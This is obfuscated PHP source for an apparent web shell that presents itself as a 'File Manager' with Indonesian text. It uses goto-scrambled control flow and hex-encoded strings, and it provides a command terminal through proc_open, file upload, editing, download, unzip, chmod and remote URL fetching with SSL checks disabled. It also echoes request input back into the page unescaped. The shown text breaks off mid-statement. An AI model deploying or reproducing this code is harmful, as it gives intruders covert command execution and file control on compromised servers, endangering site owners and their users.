Suq4K: $cwd = isset($_GET["\144"]) ? realpath($_GET["\144"]) : getcwd(); goto zrMof; j3JK7: session_start(); goto vDWeX; x21Gs: if (function_exists("\160\162\x6f\143\x5f\157\160\x65\x6e")) { ?> <a class="btn nav-link"href="?action=cmd&d=<?php echo urlencode($cwd); ?> "><i class="fa fa-terminal"></i> CMD</a><?php } else { ?> <button class="btn nav-link"disabled title="CMD dinonaktifkan di server ini"><i class="fa fa-terminal"></i> CMD</button><?php } goto MVGKF; YuMha: if ($msg) { echo "\x3c\144\x69\x76\40\143\154\141\163\163\75\47\141\x6c\x65\162\x74\40\x61\x6c\145\x72\164\x2d\x69\156\x66\157\40\155\164\x2d\x33\47\x3e" . $msg . "\x3c\x2f\144\x69\x76\76"; } goto SQhFi; qRTxV: function create_zip_from_items($items_to_zip, $destination_zip_file, $base_dir) { if (!extension_loaded("\x7a\151\x70")) { error_log("\132\111\120\x20\x65\170\164\145\x6e\x73\151\x6f\156\40\x6e\x6f\x74\x20\x6c\157\141\144\x65\144\x2e"); return false; } $zip = new ZipArchive(); if (!$zip->open($destination_zip_file, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE)) { error_log("\106\x61\151\x6c\145\144\x20\164\x6f\x20\x6f\x70\x65\x6e\x20\x7a\x69\160\40\141\x72\143\x68\151\x76\145\72\x20" . $destination_zip_file); return false; } $success_count = 0; foreach ($items_to_zip as $item_path_encoded) { $item_path = realpath(urldecode($item_path_encoded)); if ($item_path === false || !file_exists($item_path)) { error_log("\111\164\x65\x6d\x20\156\157\164\x20\146\x6f\165\x6e\x64\x20\x6f\162\40\x69\156\x76\141\154\151\144\40\x70\141\164\150\72\40" . $item_path_encoded); continue; } if (strpos($item_path, realpath($base_dir)) !== 0) { error_log("\x41\164\164\x65\155\160\164\145\144\40\164\x6f\x20\x7a\151\160\40\146\x69\x6c\x65\40\157\165\x74\x73\151\144\x65\x20\143\165\162\x72\145\156\x74\x20\x64\x69\x72\145\143\164\x6f\162\171\x3a\40" . $item_path); continue; } $relativePath = ltrim(str_replace(realpath($base_dir), '', $item_path), DIRECTORY_SEPARATOR); if (realpath($base_dir) === $item_path) { $relativePath = basename($item_path); } else { if (str_starts_with($item_path, realpath($base_dir) . DIRECTORY_SEPARATOR)) { $relativePath = substr($item_path, strlen(realpath($base_dir)) + 1); } } if (is_file($item_path)) { if ($zip->addFile($item_path, $relativePath)) { $success_count++; } else { error_log("\x46\141\x69\154\x65\x64\40\164\157\x20\x61\144\144\40\x66\x69\154\x65\40\x74\157\40\172\x69\160\72\40" . $item_path); } } elseif (is_dir($item_path)) { $zip->addEmptyDir($relativePath . "\57"); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $entryName = $relativePath . "\57" . ltrim(str_replace($item_path, '', $filePath), DIRECTORY_SEPARATOR); if ($zip->addFile($filePath, $entryName)) { $success_count++; } else { error_log("\106\x61\x69\x6c\x65\x64\x20\x74\x6f\x20\x61\144\x64\x20\144\x69\x72\x65\x63\x74\157\x72\171\x20\146\x69\154\x65\x20\164\x6f\x20\x7a\151\160\72\x20" . $filePath); } } } } } $zip->close(); return $success_count; } goto CeQB2; oE8BU: function getUrlContent($url) { if (!extension_loaded("\143\x75\x72\154")) { error_log("\x63\125\122\114\40\145\170\x74\x65\x6e\163\151\x6f\156\x20\156\157\x74\x20\154\x6f\x61\144\x65\x64\56"); return false; } $ch = curl_init($url); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_USERAGENT => "\x4d\157\x7a\x69\x6c\154\x61\57\65\56\x30\x20\50\x57\x69\156\x64\x6f\167\x73\x20\116\124\x20\61\60\56\60\x3b\x20\x57\151\156\x36\64\x3b\40\x78\x36\64\x29\40\101\x70\x70\154\x65\127\x65\x62\113\151\164\x2f\65\x33\67\x2e\63\66\40\x28\113\x48\x54\115\114\x2c\40\x6c\151\153\x65\x20\107\x65\x63\x6b\157\x29\40\103\150\162\157\x6d\145\x2f\61\x30\x30\56\x30\x2e\x34\70\71\x36\x2e\61\x32\67\x20\x53\141\146\x61\162\151\x2f\x35\63\67\56\x33\66", CURLOPT_TIMEOUT => 30)); $data = curl_exec($ch); if (curl_errno($ch)) { error_log("\143\x55\122\114\x20\x65\x72\162\157\x72\72\x20" . curl_error($ch)); $data = false; } curl_close($ch); return $data; } goto qNxBP; PgJPw: ini_set("\x64\x69\x73\160\154\141\171\137\163\164\x61\x72\164\165\160\x5f\145\162\162\x6f\x72\163", 1); goto Q0z5g; lkLDg: if (isset($_GET["\145\x64\x69\x74"])) { $f = realpath(urldecode($_GET["\x65\x64\x69\x74"])); if ($f === false || !file_exists($f) || is_dir($f)) { header("\x4c\x6f\x63\x61\164\151\x6f\156\x3a\40\x3f\x64\75" . urlencode($cwd) . "\46\155\x73\147\x3d" . urlencode("\x46\x69\x6c\x65\40\x74\x69\144\141\153\x20\144\151\164\145\155\x75\153\x61\156\40\x61\164\141\x75\x20\x62\x75\x6b\141\156\40\x66\x69\154\145\40\x79\141\x6e\147\x20\x62\151\163\x61\x20\144\x69\145\x64\151\164\56")); die; } if (strpos($f, realpath($cwd)) !== 0) { header("\x4c\157\x63\x61\164\151\x6f\156\72\40\x3f\144\75" . urlencode($cwd) . "\x26\155\x73\147\75" . urlencode("\x54\x69\x64\141\153\40\144\151\151\x7a\151\156\x6b\141\x6e\x20\155\x65\156\x67\x65\144\x69\164\x20\x66\x69\154\145\x20\144\151\x20\154\x75\x61\162\x20\x64\x69\x72\145\153\x74\157\x72\151\40\153\145\162\152\141\x2e")); die; } if (!is_readable($f)) { header("\114\x6f\143\x61\164\x69\x6f\156\72\40\x3f\x64\x3d" . urlencode($cwd) . "\x26\x6d\163\x67\75" . urlencode("\124\151\x64\141\153\x20\x64\x61\160\141\164\x20\155\x65\155\x62\141\143\141\40\x66\x69\154\145\72\40\x49\172\151\156\40\144\151\x74\x6f\154\141\x6b\56")); die; } $data = htmlspecialchars(file_get_contents($f)); echo "\74\x21\104\117\x43\124\131\120\x45\40\x68\164\155\154\76\12\x20\x20\x20\x20\x3c\150\164\155\154\40\144\141\x74\x61\55\x62\163\55\164\x68\x65\x6d\145\75\x27\x64\141\x72\153\x27\x3e\12\40\40\40\40\x3c\x68\x65\x61\x64\76\12\40\x20\40\40\40\40\x20\40\74\x6d\x65\164\x61\x20\156\141\155\x65\x3d\x27\166\151\145\167\x70\157\x72\x74\47\x20\x63\x6f\x6e\x74\x65\156\x74\75\x27\x77\151\144\x74\150\75\144\x65\166\x69\143\145\x2d\x77\x69\x64\164\150\54\x20\x69\x6e\x69\x74\151\141\154\x2d\163\143\x61\154\145\x3d\61\54\x20\163\150\162\x69\156\153\x2d\x74\x6f\x2d\146\151\x74\x3d\156\157\47\40\57\x3e\xa\x20\40\x20\x20\x20\x20\x20\x20\x3c\x74\x69\164\154\x65\76\x45\144\151\164\40\106\151\x6c\145\74\x2f\164\151\x74\x6c\x65\76\xa\40\40\x20\40\x20\40\40\x20\74\x6c\151\156\153\40\150\162\145\146\x3d\47\150\164\164\160\x73\72\57\x2f\143\144\x6e\56\152\163\144\145\x6c\x69\x76\x72\x2e\156\x65\x74\57\x6e\x70\x6d\57\142\157\x6f\164\x73\x74\x72\x61\x70\100\65\56\x33\x2e\60\57\x64\x69\163\x74\57\143\163\x73\57\142\157\157\x74\x73\164\162\141\160\x2e\155\x69\156\56\143\163\x73\x27\40\162\x65\154\x3d\47\x73\x74\171\x6c\x65\x73\x68\145\x65\164\x27\76\xa\x20\40\40\x20\40\x20\40\40\74\x73\x74\x79\154\x65\76\x62\x6f\144\x79\40\x7b\160\141\x64\144\x69\x6e\x67\x2d\x74\x6f\x70\72\x20\x32\x30\x70\x78\73\175\74\x2f\x73\x74\171\x6c\x65\x3e\xa\40\40\x20\40\74\57\150\x65\141\x64\76\xa\40\x20\x20\40\x3c\x62\157\x64\x79\40\x63\x6c\x61\x73\163\75\47\160\55\64\47\76\xa\x20\40\x20\x20\x3c\x61\x20\x68\162\145\x66\x3d\x27\77\144\x3d" . urlencode($cwd) . "\x27\40\143\x6c\141\x73\163\x3d\x27\x62\x74\156\x20\142\x74\x6e\x2d\163\155\40\142\x74\156\55\x73\145\143\x6f\x6e\144\141\x72\171\40\155\x62\55\x33\x27\x3e\74\x69\40\x63\154\x61\x73\x73\75\47\146\x61\x20\146\141\x2d\x61\x72\162\157\167\55\x6c\145\x66\164\47\76\74\57\x69\76\x20\x4b\145\x6d\x62\141\x6c\x69\74\x2f\x61\x3e\12\x20\x20\40\x20\74\146\157\x72\x6d\x20\155\145\164\150\x6f\x64\x3d\x27\160\157\x73\164\x27\76\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\x68\63\x3e\x45\x64\151\x74\40\x46\x69\x6c\145\72\40" . basename($f) . "\x3c\57\150\x33\x3e\xa\40\x20\x20\x20\40\x20\x20\40\74\164\x65\x78\x74\141\x72\145\141\x20\156\141\x6d\x65\75\x27\x66\151\154\145\144\x61\x74\x61\47\x20\143\x6c\x61\x73\x73\75\47\146\x6f\162\155\55\x63\157\156\x74\162\157\154\40\155\x62\x2d\x32\47\x20\x73\164\171\x6c\x65\75\47\x77\151\x64\164\150\72\x31\x30\60\x25\x3b\x68\145\151\147\150\164\72\63\x30\60\x70\170\73\47\76" . $data . "\74\x2f\x74\x65\170\164\141\x72\x65\141\76\xa\x20\40\x20\x20\40\x20\x20\x20\74\x69\156\160\x75\x74\x20\164\171\x70\145\x3d\47\x68\x69\144\144\x65\156\x27\40\156\141\155\x65\x3d\47\146\151\x6c\x65\x70\141\164\150\47\x20\166\141\154\165\145\75\47" . htmlspecialchars($f) . "\47\76\12\x20\40\x20\x20\40\40\40\40\74\142\x75\x74\164\x6f\x6e\x20\156\x61\x6d\145\x3d\47\145\144\151\164\146\x69\x6c\145\47\x20\x63\x6c\141\x73\163\75\x27\142\164\x6e\40\x62\164\156\55\x73\x75\x63\143\x65\x73\x73\40\x6d\164\x2d\x32\x27\76\123\151\x6d\x70\x61\156\74\57\x62\165\164\x74\x6f\156\x3e\xa\x20\40\40\x20\x3c\57\x66\x6f\162\155\76\12\40\40\40\x20\74\x2f\142\157\144\171\76\12\40\x20\40\x20\x3c\x2f\x68\x74\x6d\x6c\x3e"; die; } goto QE7n5; SQhFi: if (isset($_GET["\x63\155\x64\x5f\x6f\x75\x74\160\165\x74"]) && $_GET["\x61\x63\x74\x69\x6f\x6e"] === "\x63\155\144") { ?> <div class="alert alert-secondary mt-3">Output:<br><?php echo urldecode($_GET["\143\155\x64\137\x6f\x75\164\160\x75\x74"]); ?> </div><?php } goto MhtAK; M20TF: ?> "><i class="fa fa-info-circle"></i> Info</a></li><li class="nav-item"><?php goto x21Gs; XyFGC: function copy_recursive($source, $dest) { if (is_file($source)) { return copy($source, $dest); } elseif (is_dir($source)) { @mkdir($dest, 493, true); $items = array_diff(@scandir($source) ?: array(), array("\x2e", "\x2e\x2e")); foreach ($items as $item) { if (!copy_recursive($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item)) { return false; } } return true; } return false; } goto oE8BU; zrMof: $cwd = $cwd ?: getcwd(); goto KZt7d; s3vNf: ?> ">File Manager</a> <button class="navbar-toggler"type="button"aria-label="Toggle navigation"aria-controls="navbarNav"aria-expanded="false"data-bs-target="#navbarNav"data-bs-toggle="collapse"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse"id="navbarNav"><ul class="mb-2 mb-lg-0 me-auto navbar-nav"><li class="nav-item"><a class="btn nav-link btn-secondary"href="<?php goto F2PHL; WM3PA: ?> "><i class="fa fa-lock"></i> Password</a></li><li class="nav-item"><a class="btn nav-link"href="?action=info&d=<?php goto RRopu; KZt7d: $msg = isset($_GET["\x6d\163\147"]) ? htmlspecialchars($_GET["\x6d\x73\x67"]) : ''; goto hEh0m; QE7n5: if (isset($_GET["\x64\157\167\x6e\x6c\x6f\141\144"])) { $file_to_download = realpath(urldecode($_GET["\144\x6f\x77\156\154\157\x61\144"])); if ($file_to_download === false || !file_exists($file_to_download) || is_dir($file_to_download)) { header("\114\157\143\141\164\x69\157\x6e\x3a\x20\77\144\x3d" . urlencode($cwd) . "\x26\155\163\147\75" . urlencode("\107\x61\x67\141\x6c\x20\144\157\x77\x6e\154\x6f\x61\x64\72\40\106\151\154\x65\x20\164\151\144\141\153\40\x64\x69\x74\145\155\165\153\141\156\x20\x61\164\x61\x75\x20\142\165\x6b\x61\x6e\x20\146\151\x6c\x65\40\171\141\x6e\x67\x20\x62\x69\x73\x61\x20\x64\151\x75\x6e\x64\x75\150\56")); die; } if (strpos($file_to_download, realpath($cwd)) !== 0) { header("\114\x6f\x63\141\x74\x69\157\156\x3a\40\x3f\x64\75" . urlencode($cwd) . "\x26\155\163\147\x3d" . urlencode("\x54\151\144\141\153\x20\x64\x69\x69\x7a\151\156\153\x61\156\x20\x6d\x65\x6e\x67\x75\x6e\x64\165\x68\x20\x66\151\x6c\x65\x20\x64\x69\x20\x6c\165\x61\x72\40\144\151\x72\145\153\164\157\x72\151\40\153\145\x72\x6a\141\56")); die; } if (!is_readable($file_to_download)) { header("\x4c\x6f\x63\x61\164\x69\x6f\x6e\72\40\77\x64\x3d" . urlencode($cwd) . "\46\x6d\x73\x67\75" . urlencode("\x47\141\147\141\x6c\x20\144\157\x77\156\154\x6f\141\x64\x3a\40\106\x69\x6c\x65\x20\x74\151\x64\x61\153\40\x64\141\x70\x61\x74\x20\144\x69\x62\x61\x63\141\x2e")); die; } header("\x43\x6f\x6e\x74\x65\156\x74\55\104\145\163\x63\162\x69\160\164\x69\157\156\x3a\40\x46\151\154\x65\40\x54\162\141\x6e\163\x66\x65\162"); header("\x43\x6f\x6e\164\x65\156\164\x2d\x54\x79\x70\145\72\x20\x61\160\x70\x6c\x69\143\x61\164\x69\x6f\x6e\x2f\157\x63\164\x65\x74\x2d\163\164\x72\x65\141\x6d"); header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\104\151\x73\160\157\x73\151\164\151\157\x6e\x3a\x20\x61\x74\164\x61\x63\150\155\145\x6e\x74\x3b\x20\x66\151\154\145\x6e\141\155\145\75\42" . basename($file_to_download) . "\x22"); header("\105\170\160\151\x72\x65\x73\72\x20\60"); header("\103\141\143\x68\x65\55\x43\157\156\x74\x72\x6f\x6c\72\x20\155\x75\163\164\x2d\x72\145\166\141\x6c\x69\144\x61\x74\145"); header("\x50\x72\141\x67\x6d\x61\x3a\x20\x70\x75\x62\x6c\151\x63"); header("\x43\x6f\x6e\164\x65\x6e\x74\x2d\x4c\x65\156\147\164\150\72\40" . filesize($file_to_download)); readfile($file_to_download); die; } goto XCd7P; XCd7P: ?> <!doctypehtml><html data-bs-theme="dark"><head><meta content="width=device-width,initial-scale=1,shrink-to-fit=no"name="viewport"><title>File Manager</title><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"rel="stylesheet"><script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script><style>body{padding-top:70px}.navbar{position:fixed;top:0;left:0;right:0;z-index:1030}a{text-decoration:none}.clipboard-cut{background-color:#ffc10740}.clipboard-copy{background-color:#17a2b840}#batchActionsContainer{display:none}.path-display{font-size:.9em;margin-bottom:10px}.table-responsive-custom{overflow-x:auto;width:100%;max-width:none}.table{min-width:700px}.navbar-nav .nav-item .btn{border:1px solid rgba(255,255,255,.3);border-radius:.3rem;padding:.375rem .75rem;display:flex;align-items:center;justify-content:center;min-width:80px;text-align:center}.navbar-nav .nav-item .btn i{font-size:1.1em;margin-right:5px}.navbar-brand{padding-left:1rem}.table tbody tr.active-row{background-color:var(--bs-table-active-bg)}[data-bs-theme=light] .table tbody tr.active-row{background-color:#e2e6ea}[data-bs-theme=dark] .table tbody tr.active-row{background-color:#343a40}.table tbody tr:hover{filter:brightness(.9);transition:background-color .1s ease-in-out}.table tbody tr.active-row:hover{filter:brightness(.8)}.navbar-nav .nav-item{margin-right:5px}.navbar-nav .nav-item .btn{background-color:rgba(108,117,125,.7);border-color:rgba(108,117,125,.9);color:#fff;padding:.5rem .75rem;display:flex;align-items:center;justify-content:center;min-width:unset;width:auto}.navbar-nav .nav-item .btn:active,.navbar-nav .nav-item .btn:focus,.navbar-nav .nav-item .btn:hover{background-color:rgba(108,117,125,.9);border-color:rgba(108,117,125,1);box-shadow:none}.navbar-nav .nav-item .btn.btn-info,.navbar-nav .nav-item .btn.btn-primary,.navbar-nav .nav-item .btn.btn-success,.navbar-nav .nav-item .btn.btn-warning{background-color:rgba(108,117,125,.7)!important;border-color:rgba(108,117,125,.9)!important;color:#fff!important}.navbar-nav .nav-item .btn.btn-info:hover,.navbar-nav .nav-item .btn.btn-primary:hover,.navbar-nav .nav-item .btn.btn-success:hover,.navbar-nav .nav-item .btn.btn-warning:hover{background-color:rgba(108,117,125,.9)!important;border-color:rgba(108,117,125,1)!important}.navbar-nav .nav-item .btn.nav-link{display:inline-flex;align-items:center;justify-content:flex-start;padding-right:15px}.navbar-nav .nav-item .btn i{margin-right:8px}</style><script>function toggleTheme() { const html = document.documentElement; const theme = html.dataset.bsTheme === 'dark' ? 'light' : 'dark'; html.setAttribute('data-bs-theme', theme); document.cookie = 'theme=' + theme + '; path=/; max-age=31536000'; } window.onload = () => { const html = document.documentElement; const m = document.cookie.match(/theme=(dark|light)/); // Set theme based on cookie, default to 'dark' if no cookie if (m) { html.setAttribute('data-bs-theme', m[1]); } else { html.setAttribute('data-bs-theme', 'dark'); // Default to dark } const renameModalElement = document.getElementById('renameModal'); if (renameModalElement && renameModalElement.dataset.show === 'true') { const renameModal = new bootstrap.Modal(renameModalElement); renameModal.show(); } const checkboxes = document.querySelectorAll('input[name=\"selected_items[]\"]'); checkboxes.forEach(checkbox => { checkbox.addEventListener('change', updateBatchActionsVisibility); }); updateBatchActionsVisibility(); const tableRows = document.querySelectorAll('.table tbody tr'); tableRows.forEach(row => { row.addEventListener('click', function(event) { // Hindari klik pada checkbox, tautan, tombol, atau sel yang berisi checkbox agar tidak menghilangkan highlight // Check if the clicked element or any of its parents (up to <td>) is an interactive element let target = event.target; while(target !== this && target !== null) { if (target.type === 'checkbox' || target.tagName === 'A' || target.tagName === 'BUTTON') { return; // Don't highlight the row if an interactive element within it was clicked } target = target.parentElement; } // Hapus kelas 'active-row' dari semua baris tableRows.forEach(r => r.classList.remove('active-row')); // Tambahkan kelas 'active-row' ke baris yang sedang diklik this.classList.add('active-row'); }); }); }; function confirmAction(action) { if (action === 'delete') { return confirm('Anda yakin ingin menghapus item yang dipilih? Aksi ini tidak dapat dibatalkan.'); } else if (action === 'zip') { return confirm('Anda yakin ingin mengarsipkan item yang dipilih?'); } else if (action === 'copy') { return confirm('Anda yakin ingin menyalin item yang dipilih ke clipboard?'); } else if (action === 'cut') { return confirm('Anda yakin ingin memotong item yang dipilih ke clipboard?'); } return true; } function toggleAll(source) { checkboxes = document.querySelectorAll('input[name=\"selected_items[]\"]'); for(var i=0, n=checkboxes.length;i<n;i++) { checkboxes[i].checked = source.checked; } updateBatchActionsVisibility(); } function updateBatchActionsVisibility() { const selectedCheckboxes = document.querySelectorAll('input[name=\"selected_items[]\"]:checked'); const batchActionsContainer = document.getElementById('batchActionsContainer'); if (selectedCheckboxes.length > 0) { batchActionsContainer.style.display = 'flex'; } else { batchActionsContainer.style.display = 'none'; } } function showRenameModal(oldPath, currentName) { document.getElementById('renameOldPath').value = oldPath; document.getElementById('renameNewName').value = currentName; const renameModal = new bootstrap.Modal(document.getElementById('renameModal')); renameModal.show(); } function showChmodModal(itemPath, currentPermsOctal) { document.getElementById('chmodPath').value = itemPath; document.getElementById('chmodOctal').value = currentPermsOctal; const ownerPerms = parseInt(currentPermsOctal[1]); const groupPerms = parseInt(currentPermsOctal[2]); const othersPerms = parseInt(currentPermsOctal[3]); document.getElementById('owner_read').checked = (ownerPerms & 4); document.getElementById('owner_write').checked = (ownerPerms & 2); document.getElementById('owner_execute').checked = (ownerPerms & 1); document.getElementById('group_read').checked = (groupPerms & 4); document.getElementById('group_write').checked = (groupPerms & 2); document.getElementById('group_execute').checked = (groupPerms & 1); document.getElementById('others_read').checked = (othersPerms & 4); document.getElementById('others_write').checked = (othersPerms & 2); document.getElementById('others_execute').checked = (othersPerms & 1); updateOctalFromCheckboxes(); const chmodModal = new bootstrap.Modal(document.getElementById('chmodModal')); chmodModal.show(); } function updateOctalFromCheckboxes() { let owner = 0; if (document.getElementById('owner_read').checked) owner += 4; if (document.getElementById('owner_write').checked) owner += 2; if (document.getElementById('owner_execute').checked) owner += 1; let group = 0; if (document.getElementById('group_read').checked) group += 4; if (document.getElementById('group_write').checked) group += 2; if (document.getElementById('group_execute').checked) group += 1; let others = 0; if (document.getElementById('others_read').checked) others += 4; if (document.getElementById('others_write').checked) others += 2; if (document.getElementById('others_execute').checked) others += 1; document.getElementById('chmodOctal').value = '0' + owner.toString() + group.toString() + others.toString(); } document.addEventListener('DOMContentLoaded', function() { const chmodCheckboxes = document.querySelectorAll('#chmodModal input[type=\"checkbox\"]'); chmodCheckboxes.forEach(checkbox => { checkbox.addEventListener('change', updateOctalFromCheckboxes); }); }); function clearCmdOutput() { window.location.href = "?action=cmd&d=" + encodeURIComponent("<?php goto bQY87; rpWaT: if (isset($_GET["\165\156\x7a\x69\x70"])) { $file_to_unzip = realpath(urldecode($_GET["\165\x6e\172\x69\x70"])); if ($file_to_unzip === false || !file_exists($file_to_unzip) || is_dir($file_to_unzip)) { header("\114\x6f\143\141\164\151\x6f\156\72\40\x3f\x64\75" . urlencode($cwd) . "\x26\x6d\x73\147\75" . urlencode("\107\x61\147\x61\x6c\40\165\156\172\x69\x70\x3a\x20\x46\151\x6c\145\40\164\x69\144\141\153\x20\x64\151\164\x65\155\165\x6b\141\156\40\x61\x74\141\x75\40\142\165\153\141\156\x20\146\x69\154\145\56")); die; } if (strpos($file_to_unzip, realpath($cwd)) !== 0) { header("\x4c\157\x63\141\164\x69\157\156\x3a\40\77\x64\75" . urlencode($cwd) . "\x26\x6d\x73\x67\x3d" . urlencode("\106\151\x6c\x65\40\144\x69\x20\154\x75\141\162\40\x64\x69\162\145\x6b\x74\157\x72\151\40\x6b\x65\x72\x6a\x61\x2e")); die; } $extract_path = dirname($file_to_unzip); if (!is_writable($extract_path)) { header("\x4c\x6f\143\141\164\151\x6f\156\72\x20\x3f\144\75" . urlencode($cwd) . "\x26\x6d\163\147\x3d" . urlencode("\x47\x61\147\141\154\40\x75\156\x7a\x69\160\x3a\x20\104\151\x72\145\x6b\164\157\x72\x69\x20\164\165\x6a\x75\x61\x6e\40\164\151\x64\141\x6b\40\144\141\160\x61\x74\40\x64\x69\164\x75\154\x69\x73\56")); die; } $zip = new ZipArchive(); if ($zip->open($file_to_unzip) === TRUE) { $ok = $zip->extractTo($extract_path); $zip->close(); header("\x4c\x6f\143\x61\x74\x69\x6f\156\x3a\40\x3f\x64\75" . urlencode($cwd) . "\x26\155\163\147\x3d" . ($ok ? urlencode("\106\151\x6c\x65\x20\x62\145\x72\150\x61\x73\151\154\x20\x64\151\x2d\x75\x6e\172\x69\160\56") : urlencode("\x47\141\x67\141\x6c\40\165\x6e\x7a\x69\x70\40\146\x69\154\x65\x2e\x20\x50\x61\163\164\151\x6b\141\x6e\x20\164\x69\x64\141\x6b\x20\x61\144\x61\x20\x6b\157\156\x66\x6c\x69\153\40\146\151\x6c\x65\x20\141\164\141\x75\40\x69\172\151\x6e\x2e"))); die; } else { header("\x4c\157\x63\141\x74\151\x6f\x6e\72\x20\x3f\144\75" . urlencode($cwd) . "\x26\155\163\x67\x3d" . urlencode("\x47\141\x67\x61\x6c\x20\x6d\x65\155\x62\x75\x6b\141\x20\x66\x69\154\145\x20\172\x69\160\56")); die; } } goto lkLDg; u4Ken: $self = basename(__FILE__); goto yK68g; Q71cG: ?> </span></th></tr></thead></table></div><?php goto uw2WR; ipeos: ?> "); }</script></head><body class="p-4"><nav class="bg-dark navbar navbar-dark navbar-expand-lg"><div class="container-fluid"><a class="navbar-brand"href="?d=<?php goto AL6d2; JFnbV: function perms_to_octal($perms) { return substr(sprintf("\x25\x6f", $perms), -4); } goto g1nSE; AL6d2: echo urlencode($cwd); goto s3vNf; F2PHL: echo htmlspecialchars($self); goto sDob3; MhtAK: ?> <br><br><div class="mb-3 table-responsive-custom"><table class="table table-bordered table-sm"><thead><tr><th><i class="fa fa-folder"></i><span style="font-weight:700"><?php goto RygEw; qNxBP: if ($_SERVER["\x52\105\121\125\105\123\124\137\115\x45\x54\110\x4f\x44"] === "\x50\117\x53\x54") { if (isset($_POST["\165\x70\154\x6f\x61\x64\146\151\x6c\145"])) { if (!is_writable($cwd)) { header("\x4c\157\x63\x61\164\151\x6f\156\x3a\x20\77\144\75" . urlencode($cwd) . "\x26\155\163\147\75" . urlencode("\125\x70\x6c\x6f\141\x64\40\147\x61\x67\x61\x6c\72\40\104\151\x72\145\153\x74\157\162\x69\x20\164\151\x64\141\x6b\40\x64\x61\x70\x61\x74\40\144\151\x74\x75\154\151\163\56")); die; } if (isset($_FILES["\165\x70\154\157\141\x64\146\x69\154\145"]) && $_FILES["\x75\x70\154\x6f\141\144\x66\x69\154\145"]["\x65\162\x72\157\162"] === UPLOAD_ERR_OK) { $dest = $cwd . "\x2f" . basename($_FILES["\x75\160\x6c\x6f\x61\144\x66\x69\x6c\145"]["\156\x61\x6d\x65"]); $ok = move_uploaded_file($_FILES["\x75\x70\154\157\x61\144\146\x69\154\x65"]["\x74\x6d\160\137\x6e\141\155\x65"], $dest); header("\114\157\143\141\x74\151\x6f\x6e\72\40\x3f\144\75" . urlencode($cwd) . "\46\x6d\163\x67\75" . ($ok ? urlencode("\x55\x70\x6c\157\x61\144\40\x73\165\153\x73\x65\163") : urlencode("\x55\x70\x6c\157\141\x64\40\147\x61\x67\x61\154\72\x20\107\141\147\141\x6c\x20\x6d\145\x6d\x69\x6e\144\x61\x68\x6b\141\156\x20\x66\151\154\x65\x2e"))); } else { $upload_error_msg = "\125\x6e\x6b\x6e\x6f\x77\x6e\x20\x65\162\162\x6f\x72\56"; switch ($_FILES["\x75\x70\x6c\157\x61\144\x66\151\154\145"]["\145\162\x72\x6f\x72"]) { case UPLOAD_ERR_INI_SIZE: $upload_error_msg = "\125\153\165\162\x61\156\40\146\151\154\x65\x20\155\145\x6c\x65\142\151\150\151\x20\142\141\x74\x61\163\x20\165\160\154\x6f\141\144\x5f\x6d\141\170\137\146\x69\x6c\x65\x73\x69\x7a\145\40\x64\151\x20\x70\x68\160\56\x69\x6e\151\x2e"; break; case UPLOAD_ERR_FORM_SIZE: $upload_error_msg = "\x55\x6b\x75\162\x61\x6e\40\x66\x69\x6c\145\x20\x6d\145\154\x65\x62\151\150\151\x20\142\141\x74\141\163\x20\x4d\101\130\x5f\106\x49\x4c\105\x5f\123\111\x5a\105\40\x79\141\x6e\147\x20\x64\151\x74\145\156\164\165\153\141\156\x20\x64\151\x20\x66\x6f\162\155\165\154\151\162\x20\110\124\x4d\114\56"; break; case UPLOAD_ERR_PARTIAL: $upload_error_msg = "\x46\151\x6c\x65\x20\x68\141\x6e\x79\141\40\164\145\x72\x75\x6e\x67\x67\141\x68\40\x73\145\142\x61\147\x69\x61\156\x2e"; break; case UPLOAD_ERR_NO_FILE: $upload_error_msg = "\124\151\144\141\153\40\141\x64\141\40\146\151\x6c\x65\x20\x79\x61\x6e\x67\x20\x64\151\x75\x6e\x67\x67\x61\150\56"; break; case UPLOAD_ERR_NO_TMP_DIR: $upload_error_msg = "\104\151\x72\145\x6b\164\157\162\151\x20\163\145\155\x65\x6e\164\141\x72\x61\40\150\x69\154\x61\x6e\147\56"; break; case UPLOAD_ERR_CANT_WRITE: $upload_error_msg = "\x47\141\147\x61\x6c\x20\x6d\x65\x6e\165\x6c\151\163\40\146\x69\154\x65\x20\x6b\x65\x20\x64\151\163\x6b\x2e"; break; case UPLOAD_ERR_EXTENSION: $upload_error_msg = "\105\x6b\163\x74\x65\156\163\151\x20\x50\x48\x50\40\x6d\x65\156\x67\x68\x65\x6e\164\151\153\141\x6e\x20\x75\156\x67\x67\x61\x68\141\x6e\x20\x66\x69\154\x65\x2e"; break; } header("\114\157\x63\x61\164\x69\x6f\x6e\72\40\x3f\144\x3d" . urlencode($cwd) . "\46\155\163\147\75" . urlencode("\125\160\154\x6f\x61\144\x20\147\141\x67\x61\x6c\x3a\40" . $upload_error_msg)); } die; } if (isset($_POST["\156\145\x77\x66\x69\154\145"])) { if (!is_writable($cwd)) { header("\x4c\157\143\x61\x74\151\157\x6e\x3a\x20\x3f\x64\x3d" . urlencode($cwd) . "\46\x6d\x73\x67\x3d" . urlencode("\107\141\x67\141\x6c\40\x6d\x65\155\142\x75\141\164\x20\x66\151\154\145\x3a\40\104\x69\x72\x65\153\164\x6f\162\151\40\x74\x69\144\x61\x6b\40\144\141\x70\x61\164\40\x64\151\x74\165\x6c\x69\163\x2e")); die; } $filename = trim($_POST["\x6e\145\x77\x66\151\154\x65"]); if (empty($filename) || strpos($filename, "\x2f") !== false || strpos($filename, "\x5c") !== false) { header("\x4c\157\x63\141\164\x69\157\x6e\72\40\x3f\x64\75" . urlencode($cwd) . "\46\x6d\x73\x67\x3d" . 